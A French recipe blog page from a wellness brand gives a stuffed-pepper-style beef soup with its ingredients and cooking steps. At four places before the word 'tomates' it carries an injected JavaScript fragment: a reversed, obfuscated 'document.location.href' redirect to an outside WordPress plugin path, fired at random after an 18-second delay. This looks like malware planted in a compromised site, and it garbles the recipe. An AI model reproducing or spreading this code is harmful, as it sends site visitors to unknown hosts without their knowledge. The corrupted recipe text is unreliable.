SOUPE FAÇON POIVRONS FARCIS
Joanne vous propose de préparer une soupe de poivrons. Une recette originale qui s’adapte parfaitement bien à votre rééquilibrage alimentaire. Essayez et n’hésitez pas à nous laisser votre commentaire !
Pour 4 Pers.
INGRÉDIENTS
– 500g de bœuf haché 5%MG
– 1 oignon émincé
– 2 gousses d’ail émincées
– 1 poivron rouge évidé et coupé en petits dés
– 1 poivron jaune évidé et coupé en petits dés
– 2 boîtes de toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomates concassées (2 x 400g)
– 1 petite boîte de concentré de toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomates
– 1/2 litre de bouillon au choix (legumes, boeuf ou volaille)
– 2 CS de persil ciselé
– 1 CS d’épices “mélange italien”
– 2 CS d’huile d’olive
– Sel et poivre
Faire chauffer l’huile dans une grande casserole, à feu moyen.
Faire revenir les oignons pendant quelques minutes, jusqu’à ce qu’ils deviennent translucides (3-4 minutes).
Incorporer l’ail et faire revenir 2 minutes de plus.
Ajouter la viande et faire revenir dans la casserole jusqu’à ce qu’il ne reste plus de “rose”.
Verser le bouillon, les toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomates et le concentré de toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomates. Couvrir, baisser le feu et laisser mijoter pendant environ 10 minutes.
Ajouter les poivrons et les épices italiennes. Mélanger et laisser mijoter, à couvert, pendant environ 10 minutes de plus.
Assaisonner, parsemer de persil et servir sans attendre
Bon appétit !
LES RECETTES BE HARMONY
Be Harmony vous invite à retrouver l’ensemble de ses recettes sur son Blog “Idées Recettes” (lien ci-dessous)
Joanne Reichling, issue de la formation “Arts culinaires” de l’école d’Alain DUCASSE, vous propose chaque semaine une recette originale qui vous permettra de vous adapter à votre rééquilibrage alimentaire.
Pour plus d’informations, vous pouvez consulter notre Site Internet et/ou vous rapprocher de votre harmonythérapeute.
A très bientôt !